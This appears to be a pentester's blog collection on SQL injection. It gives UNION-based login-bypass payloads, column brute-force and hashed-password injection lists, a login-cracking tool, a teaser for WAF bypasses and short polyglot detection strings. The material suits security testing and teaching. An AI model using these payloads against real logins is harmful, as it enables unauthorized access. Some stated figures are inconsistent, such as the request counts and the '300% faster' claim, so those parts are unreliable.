New Tool For Breaking Web Logins

I found out that most of the time, web applications are not being properly tested against SQL injection and many times critical security bugs are left undetected. It is not admissible to miss any security vulnerability during a pen-test because somebody else might find the bug and exploit it.

When probing the security of web logins, the following injections are always used:

‘ or ‘1’=’1
” or “1”=”1

Very often, only these injections are tested and if they fail it is assumed that the login is not vulnerable. However, there is a vast amount of other types of injections that should also be tried to correctly determine if the login is vulnerable or not.

Imagine that the login code resembles to the following:

Query:
$result = “SELECT password FROM users WHERE login=’$login’
“;

Then on the server-side:
if ($result[‘password’] == $_POST[‘password’])  Access_Granted();

Even if the login is vulnerable, traditional ‘ or 1=’1 injections will fail to bypass it: even though the injection works and user data is being returned, the attacker still needs to know the correct password to log-in.

The injection for testing the login should now be:
‘ AND 0 UNION SELECT ‘letmein’ as password where ‘1

Thus the attacker can login with whatever password he chooses.

The process of exploiting these types of login requires a big amount of work and can be time consuming, consider the following vulnerable query:

SELECT * FROM users WHERE username=’$_POST[“username”]’;

The asterisk might return dozens of columns and since the number of columns in the UNION query should match, first the number of columns queried should be found:

Brute-force injection:
admin’ AND 0 UNION SELECT 1 AND ‘TRUE
admin’ AND 0 UNION SELECT 1,1 AND ‘TRUE
admin’ AND 0 UNION SELECT 1,1,1 AND ‘TRUE
admin’ AND 0 UNION SELECT 1,1,1,1 AND ‘TRUE

admin’ AND 0 UNION SELECT 1,1,1,1,1 AND ‘TRUE

admin’ AND 0 UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 AND ‘TRUE
….

This can be tedious to brute-force manually specially if the query is trying to retrieve a huge number of columns.

Also, very frequently the password is going to be stored as a cryptographic hash in the database, which means that the password provided in the login form must be hashed too in order to be compared with the original; injections like this should be tried as well:

Hashed password injection:
# MD5 hash
admin’ AND 0 UNION SELECT ‘5f4dcc3b5aa765d61d8327deb882cf99 AND ‘TRUE
admin’ AND 0 UNION SELECT 5f4dcc3b5aa765d61d8327deb882cf99, 5f4dcc3b5aa765d61d8327deb882cf99 AND ‘TRUE

admin’ AND 0 UNION SELECT 5f4dcc3b5aa765d61d8327deb882cf99, 5f4dcc3b5aa765d61d8327deb882cf99, ‘5f4dcc3b5aa765d61d8327deb882cf99’ AND ‘TRUE
admin’ AND 0 UNION SELECT 5f4dcc3b5aa765d61d8327deb882cf99, 5f4dcc3b5aa765d61d8327deb882cf99
, 5f4dcc3b5aa765d61d8327deb882cf99, 5f4dcc3b5aa765d61d8327deb882cf99… AND ‘TRUE

# SHA1 hash
admin’ AND 0 UNION SELECT ‘5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 AND ‘TRUE
admin’ AND 0 UNION SELECT 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8, 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 AND ‘TRUE

admin’ AND 0 UNION SELECT 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8, 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8, ‘5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8’ AND ‘TRUE
admin’ AND 0 UNION SELECT 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8, 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8, ‘5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8’, ‘5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8’ AND ‘TRUE
….

# SHA-224
admin’ AND 0 UNION SELECT d63dc919e201d7bc4c825630d2cf25fdc93d4b2f0d46706d29038d01,d63dc919e201d7bc4c825630d2cf25fdc93d4b2f0d46706d29038d01,… AND ‘TRUE
# SHA-256
admin’ AND 0 UNION SELECT 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8, 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8,… AND ‘TRUE
# SHA-384
admin’ AND 0 UNION SELECT a8b64babd0aca91a59bdbb7761b421d4f2bb38280d3a75ba0f21f2bebc45583d446c598660c94ce680c47d19c30783a7′,… AND ‘TRUE
# SHA-512
admin’ AND 0 UNION SELECT b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86′,… AND ‘TRUE
# Base 64
admin’ AND 0 UNION SELECT cGFzc3dvcmQ=, cGFzc3dvcmQ=, cGFzc3dvcmQ=, cGFzc3dvcmQ=… AND ‘TRUE

And then all of these injections must be tried with double quotes instead of simple quotes too determine if the login is in fact vulnerable. As far as I know, there are no tools that exploit these type of login logic so I decided to write my own. So far I have found 3 applications that had this security bug and I don’t want to miss it in any future security evaluation.

The tool was written in python and it uses Selenium with the Chrome web driver; make sure to install those to get it running.

$ pip install selenium

In the header of the script there is an array containing all the hashing functions tested against the login. You can add more functions such as nested hashes or other cryptographic functions to extend the scope of the security testing.

You can find logincrack.py HERE.

New SQL injection exploitation methods.

I came to the conclusion that the blind SQL injection attack vectors we use are very old and there is a huge room of improvement to make them much faster and more efficient.

I wrote a paper where I documented these optimized injection vectors and it got accepted to Hackfest Quebec, B-Sides Philly and Hack in Paris (which I missed because I was severely jet-lagged and I feel very ashamed to say so).

For a self-explanatory and condensed version of the paper, you can find the slides of the talk HERE.

If you prefer detailed explanations, you can find the paper in .txt format HERE.

The tools are yet to be released. I need to find a decent python compiler so that the tools can compete fairly with sqlmap.

Greetings.

Bypasses for the most popular WAFs

In Black Hat 2009 I had the honor of personally meeting @sirdarckcat (Eduardo Vela, leader of Google Project Zero) who gave a presentation titled “Our favorite XSS filters and how to attack them“. In his presentation he managed to bypass every single popular Web Application Firewall that was in the market at that time and he said it was a piece of cake.

My conclusion of his talk was that all Web Application Firewalls (WAFs) were practically useless at that time due to the tremendous ease in which they can be bypassed.

Now, more than ten years later, I decided to evaluate the security of many popular WAFs to see their evolution and how robust they’ve become over time. The conclusion is that most of them are still extremely vulnerable to very lethal attacks. They are very easy to bypass so the degree of protection they offer is very low; I broke each WAF in around 1 minute.

I decided to publish the bypasses because it is actually funny how bad these filters are.

The WAFs that I tested are:

  • Amazon Web Services WAF
  • Cisco Secure WAF
  • Cloudflare Web Application Firewall
  • Citrix Netscaler
  • F5 BIG-IP Advanced WAF
  • Fortinet’s Fortiweb WAF
  • Akamai Web Application Firewall
  • Sophos Firewall
  • Incapsula Imperva
  • Broadcom
  • Radware

Click on more to see the bypasses:

(more…)

SQL Injection Detection Optimization

In Black Hat 2013, Roberto Salgado (@LightOS) came up with the idea of optimizing the detection phase for SQL injection vulnerabilities.

Usually, to test if a parameter is vulnerable to SQL injection, a maximum of six requests must be performed to find out the context of the injection. It might be between single quotes (‘), double quotes (“) or with no delimiters at all:

TRUE RESPONSES
-1′ or ‘1’=’1
-1″ or “1”=”1
-1 or 1=0

FALSE RESPONSES
-1′ or ‘1’=’0
-1″ or “1”=”0
-1 or 1=0


This means that if, for instance, there are 100 parameteres in the application, a maximum of 600 requests should be performed in order to test all parameters against SQL injection.

LightOS came up with the idea of detecting vulnerable parameters with just one request by fusing the three testing vectors. This is the multi-context functional polyglot that works in any of the already three mentioned contexts:

-1 OR 1#”or”‘OR”='”=”‘OR”=’

Numeric context:
1 OR 1#“or”‘OR”='”=”‘OR”=’

Double quotation:
-1 OR 1#“or”‘OR”=’“=”‘OR”=’

Single quotation:
1 OR 1#”or”‘OR”=’“=”‘OR”=’

You can find his slides in the following link: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

Mirror: https://nzt-48.org/presentations/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

I wanted to see if I could optimize this further by making the vector shorter in length. Surprisingly, I managed to shorten LightOS’s vector by 7 bytes (from 29 to 22). Here is the result:

-1 or 1#’or”or'”!=’!=”

Numeric context:
1 or 1#‘or”or'”!=’!=”

Single quotation:
1 or 1#‘or”or’“!=‘!=

Double quotation:
-1 or 1#’or“or’“!=‘!=”

This means that instead of performing 300 requests, only 100 requests are needed; the process has been optimized by making it 300% faster.

See if you can make it even shorter.